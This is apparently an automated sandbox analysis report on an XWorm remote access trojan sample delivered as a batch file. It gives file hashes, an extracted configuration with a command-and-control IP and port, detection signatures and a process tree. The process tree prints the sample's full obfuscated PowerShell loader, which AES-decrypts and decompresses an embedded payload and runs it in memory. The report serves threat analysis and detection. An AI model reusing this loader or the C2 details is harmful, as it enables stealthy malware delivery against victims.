xworm | e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f

Analysis

max time kernel
142s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
27/01/2024, 18:54

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General

Target

2.bat
Size

272KB
MD5

b6c958bc875379f7eb6b3325146ea119
SHA1

7c39660981558777553f3a2413b5e6e581e0120d
SHA256

e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f
SHA512

097847cc7eb5d105b8164f343034ddf05c6e2d2507cceb662d5691084b55ab806e911e53ac883a43eb471d47bb18771f3ef0bb4b2c420b5ced4575adf0871fed
SSDEEP

6144:y9vq2ZtznY7vt0oUcnQyYdZuuyn4GWkSEiavfyNIOv023tri/3+4Cp:QvhZpY7vyVcnAewSigy+2o+4g

Score

10^/10

xworm rat trojan

Malware Config

Extracted

Family

xworm

Version

2.2

65.1.224.214:7000

Mutex

4zspTGvmRIiXLbzW

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4888-18-0x000001C3426C0000-0x000001C3426D0000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Executes dropped EXE 1 IoCs

pid	Process
4888	2.bat.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4888	2.bat.exe
4888	2.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4888	2.bat.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3948 wrote to memory of 4888	3948	cmd.exe	87
PID 3948 wrote to memory of 4888	3948	cmd.exe	87

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3948
- C:\Users\Admin\AppData\Local\Temp\2.bat.exe
  "2.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $_CASH_JPyoO = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\2.bat').Split([Environment]::NewLine);foreach ($_CASH_ealtD in $_CASH_JPyoO) { if ($_CASH_ealtD.StartsWith(':: @')) { $_CASH_tFaoL = $_CASH_ealtD.Substring(4); break; }; };$_CASH_tFaoL = [System.Text.RegularExpressions.Regex]::Replace($_CASH_tFaoL, '_CASH_', '');$_CASH_epUJg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_CASH_tFaoL);$_CASH_pFavC = New-Object System.Security.Cryptography.AesManaged;$_CASH_pFavC.Mode = [System.Security.Cryptography.CipherMode]::CBC;$_CASH_pFavC.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$_CASH_pFavC.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GZ+NDDfWJdUL46CgERFNsma8kH1a1NyOqIvOPvKsrWA=');$_CASH_pFavC.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5IgM8xAuhLV8mV1KzrCEvg==');$_CASH_traoF = $_CASH_pFavC.CreateDecryptor();$_CASH_epUJg = $_CASH_traoF.TransformFinalBlock($_CASH_epUJg, 0, $_CASH_epUJg.Length);$_CASH_traoF.Dispose();$_CASH_pFavC.Dispose();$_CASH_SjOoQ = New-Object System.IO.MemoryStream(, $_CASH_epUJg);$_CASH_DLltN = New-Object System.IO.MemoryStream;$_CASH_VzeZp = New-Object System.IO.Compression.GZipStream($_CASH_SjOoQ, [IO.Compression.CompressionMode]::Decompress);$_CASH_VzeZp.CopyTo($_CASH_DLltN);$_CASH_VzeZp.Dispose();$_CASH_SjOoQ.Dispose();$_CASH_DLltN.Dispose();$_CASH_epUJg = $_CASH_DLltN.ToArray();$_CASH_JzGOp = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($_CASH_epUJg);$_CASH_PUHAS = $_CASH_JzGOp.EntryPoint;$_CASH_PUHAS.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4888

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\2.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xod3fcei.p3b.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4888-13-0x000001C342690000-0x000001C3426B2000-memory.dmp

Filesize
136KB

Download
memory/4888-15-0x000001C3404A0000-0x000001C3404B0000-memory.dmp

Filesize
64KB

Download
memory/4888-14-0x00007FFE07740000-0x00007FFE08201000-memory.dmp

Filesize
10.8MB

Download
memory/4888-16-0x000001C342A90000-0x000001C342CDE000-memory.dmp

Filesize
2.3MB

Download
memory/4888-18-0x000001C3426C0000-0x000001C3426D0000-memory.dmp

Filesize
64KB

Download
memory/4888-19-0x00007FFE10A40000-0x00007FFE10A59000-memory.dmp

Filesize
100KB

Download
memory/4888-20-0x00007FFE07740000-0x00007FFE08201000-memory.dmp

Filesize
10.8MB

Download
memory/4888-21-0x000001C3404A0000-0x000001C3404B0000-memory.dmp

Filesize
64KB

Download
memory/4888-22-0x000001C3404A0000-0x000001C3404B0000-memory.dmp

Filesize
64KB

Download
memory/4888-23-0x000001C3404A0000-0x000001C3404B0000-memory.dmp

Filesize
64KB

Download